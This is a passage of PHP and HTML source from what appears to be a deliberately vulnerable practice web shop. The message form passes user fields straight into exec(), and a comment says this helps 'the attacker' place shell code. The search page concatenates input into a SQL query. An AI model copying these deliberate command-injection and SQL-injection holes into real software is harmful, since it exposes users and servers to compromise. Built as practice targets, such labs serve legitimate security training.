   // If protection is turned on full then strip out most unprintable characters

   if ($prot > 1)
   {
      $webr = $webr."|[^ -~]";
   }

   // Get the filename of the referer given

   $refer = preg_replace("/.*\//", "", $_SERVER["HTTP_REFERER"]);

   // Check to see if we are sending a message

   if ($_POST["mode"] == "send")
   {
      // Check for the right referer otherwise error out

      if ($refer == "message.php")
      {
         // Execute the compile shell script and run the program for hints

         $outp = array();
         exec("./mail_make.sh && ./mail_prog '--hint'", $outp);
         echo "<!--\n\n".plst($outp)."--!>\n\n";

         // Get the various message variables to be processed

         $info = "The following email has been sent: ";

         $from = pres(0, $_POST["from"], $webr);
         $recv = pres(0, $_POST["recv"], $webr);
         $subj = pres(0, $_POST["subject"], $webr);
         $mesg = pres(0, $_POST["message"], $webr);

         // Put the above variables in an array to be processed separately

         $pref = array("", "From: ", "To: ", "Subject: ", "Message: ");
```

```
         $list = array($info, $from, $recv, $subj, $mesg);
         $post = array("<br />", "", "", "<br />", "<br />");
         $leng = count($list);

         // Loop thru each message part and run the program on it
         // This helps the attacker choose which field to put the shell code in

         for ($x = 0; $x < $leng; ++$x)
         {
            echo $pref[$x].$list[$x].$post[$x]."<br /> \n";

            $outp = array();
            exec("./mail_prog '".$list[$x]."'", $outp);
            echo plst($outp, "<br />");
         }

         echo "<hr /><br /> \n";
      }

      else
      {
         echo "This page cannot be called directly.<br /> \n";
         echo "Please use the message form to send a message.<br /> \n";
      }
   }

   include "message0.html";
?>
```

./shop/message0.html

```
<script>
   /*
      Summary:   message.php will call this function to validate that the email
                 addresses are valid and if so then submit the form
      Parameters:   None
      Return:      Nothing
   */

   function vali()
   {
      from = document.getElementById("from");
      recv = document.getElementById("recv");
      addr = /[0-9A-Za-z]+@[0-9A-Za-z]+/;

      if (from.value.search(addr) == -1)
      {
         alert("Please enter email addresses only");
      }

      else if (recv.value.search(addr) == -1)
      {
         alert("Please enter email addresses only");
      }

      else
      {
         document.forms["msnd"].submit();
      }
   }
</script>

<form action="message.php" id="msnd" method="post">
   <input type="hidden" name="mode" value="send" />
   From: <input type="text" name="from" id="from" /><br />
   To: <input type="text" name="recv" id="recv" /><br />
   Subject: <input type="text" name="subject" /><br />
   Message: <br />
   <textarea name="message" rows="10" cols="50"></textarea><br />
```

```
   <input type="button" onclick="vali();" value="Send" />
</form>

--------------------------------------------------------------------------------
./shop/search.php
--------------------------------------------------------------------------------

<?php
   include "common.php";
?>

<b>Search</b><p />

<?php
   include "common0.html";
?>

<?php
   $term = pres(1, $_GET["search"], $webr);
?>

<form action="search.php" method="get">
   <input type="hidden" name="find" value="true" />
   Term:
   <input type="text" name="search" value="<?php echo $term ?>" maxlength="10" />
   <input type="submit" value="Search" />
</form>

<?php
   // Check if the find get variable is set

   if ($_GET["find"] == "true")
   {
      // Process the search term with sql and print out the results in table form

      $query = "select * from item where item_title like '%".$term."%' or item_desc like
'%".$term."%';";
      sql_q($query);

      echo "<table border=\"1\"> \n";
      echo "<tr><td>Items</td></tr> \n";

      while ($line = sql_r())
      {
         echo "<tr><td> \n";
         echo "<b>";
         echo "[ <a href=\"index.php?mode=view&numb=".$line[0]."\">".$line[1]."</a> ] ";
         echo "</b> \n";
         echo "- $".$line[2]." \n";
         echo "[ <a href=\"cart.php?mode=view&numb=".$line[0]."\">Add to cart</a> ] ";
         echo "<br /> \n";
         echo $line[3]."<br /> \n";
         echo "<img src=\"".$line[4]."\" ".$size." /><br /> \n";
         echo "</td></tr> \n";
      }

      echo "</table> \n";
   }
?>
```